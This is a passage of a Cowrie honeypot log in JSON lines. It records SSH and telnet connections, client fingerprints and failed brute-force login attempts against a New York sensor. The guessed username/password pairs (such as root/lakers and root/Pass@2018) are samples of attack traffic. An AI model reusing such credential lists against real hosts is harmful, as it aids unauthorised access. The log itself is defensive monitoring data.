lgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:22.096658Z","src_ip":"111.32.153.180","session":"5ee1ec7169fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lakers","message":"login attempt [root/lakers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:23.183602Z","src_ip":"111.32.153.180","session":"5ee1ec7169fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:24.450645Z","src_ip":"111.32.153.180","session":"5ee1ec7169fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":36848,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea527219e13","protocol":"ssh","message":"New connection: 159.195.79.219:36848 (10.17.0.5:22) [session: 3ea527219e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:25.913414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:25.917600Z","src_ip":"159.195.79.219","session":"3ea527219e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:26.008121Z","src_ip":"159.195.79.219","session":"3ea527219e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:26.401510Z","src_ip":"159.195.79.219","session":"3ea527219e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:27.494150Z","src_ip":"159.195.79.219","session":"3ea527219e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":53602,"dst_ip":"159.203.135.109","dst_port":22,"session":"0234f7111b74","protocol":"ssh","message":"New connection: 107.0.200.227:53602 (159.203.135.109:22) [session: 0234f7111b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:28.897669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:28.902427Z","src_ip":"107.0.200.227","session":"0234f7111b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:28.938500Z","src_ip":"107.0.200.227","session":"0234f7111b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@2018","message":"login attempt [root/Pass@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:29.104529Z","src_ip":"107.0.200.227","session":"0234f7111b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:30.141867Z","src_ip":"107.0.200.227","session":"0234f7111b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":33494,"dst_ip":"159.203.135.109","dst_port":22,"session":"86532037427a","protocol":"ssh","message":"New connection: 185.153.231.45:33494 (159.203.135.109:22) [session: 86532037427a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:31.510642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:31.515712Z","src_ip":"185.153.231.45","session":"86532037427a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:31.645536Z","src_ip":"185.153.231.45","session":"86532037427a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhangfeng","password":"zhangfeng","message":"login attempt [zhangfeng/zhangfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:32.197153Z","src_ip":"185.153.231.45","session":"86532037427a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:33.330637Z","src_ip":"185.153.231.45","session":"86532037427a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":40070,"dst_ip":"159.203.135.109","dst_port":22,"session":"318d0aec5aed","protocol":"ssh","message":"New connection: 66.113.163.125:40070 (159.203.135.109:22) [session: 318d0aec5aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:54.127077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:54.132010Z","src_ip":"66.113.163.125","session":"318d0aec5aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:54.168644Z","src_ip":"66.113.163.125","session":"318d0aec5aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"patate","message":"login attempt [root/patate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:54.348122Z","src_ip":"66.113.163.125","session":"318d0aec5aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:18:55.388867Z","src_ip":"66.113.163.125","session":"318d0aec5aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":45742,"dst_ip":"159.203.135.109","dst_port":22,"session":"e94d6603f912","protocol":"ssh","message":"New connection: 81.192.46.49:45742 (159.203.135.109:22) [session: e94d6603f912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:02.082065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:02.091571Z","src_ip":"81.192.46.49","session":"e94d6603f912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:02.217783Z","src_ip":"81.192.46.49","session":"e94d6603f912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ibm@123","message":"login attempt [root/ibm@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:02.710500Z","src_ip":"81.192.46.49","session":"e94d6603f912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:03.829708Z","src_ip":"81.192.46.49","session":"e94d6603f912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":43686,"dst_ip":"10.17.0.5","dst_port":22,"session":"aed2976473cb","protocol":"ssh","message":"New connection: 92.191.96.70:43686 (10.17.0.5:22) [session: aed2976473cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:09.306125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:09.314178Z","src_ip":"92.191.96.70","session":"aed2976473cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:09.479544Z","src_ip":"92.191.96.70","session":"aed2976473cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":56904,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f1b6bd15389","protocol":"telnet","message":"New connection: 74.91.213.120:56904 (159.203.135.109:23) [session: 3f1b6bd15389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:09.498594Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nur","message":"login attempt [root/nur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:10.008908Z","src_ip":"92.191.96.70","session":"aed2976473cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:11.140917Z","src_ip":"92.191.96.70","session":"aed2976473cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":55407,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b3f40e64e76","protocol":"ssh","message":"New connection: 175.107.32.186:55407 (10.17.0.5:22) [session: 3b3f40e64e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:13.786659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:13.791206Z","src_ip":"175.107.32.186","session":"3b3f40e64e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:14.026174Z","src_ip":"175.107.32.186","session":"3b3f40e64e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jh@123","message":"login attempt [root/jh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:14.939862Z","src_ip":"175.107.32.186","session":"3b3f40e64e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":38016,"dst_ip":"159.203.135.109","dst_port":22,"session":"b66136aa1bea","protocol":"ssh","message":"New connection: 185.153.231.45:38016 (159.203.135.109:22) [session: b66136aa1bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:15.658921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:15.664799Z","src_ip":"185.153.231.45","session":"b66136aa1bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:15.796114Z","src_ip":"185.153.231.45","session":"b66136aa1bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:16.163373Z","src_ip":"175.107.32.186","session":"3b3f40e64e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"incoming","password":"password","message":"login attempt [incoming/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:16.345711Z","src_ip":"185.153.231.45","session":"b66136aa1bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":38920,"dst_ip":"159.203.135.109","dst_port":22,"session":"92416d09d722","protocol":"ssh","message":"New connection: 45.61.187.220:38920 (159.203.135.109:22) [session: 92416d09d722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:16.635322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:16.640116Z","src_ip":"45.61.187.220","session":"92416d09d722","protocol":"ssh"}
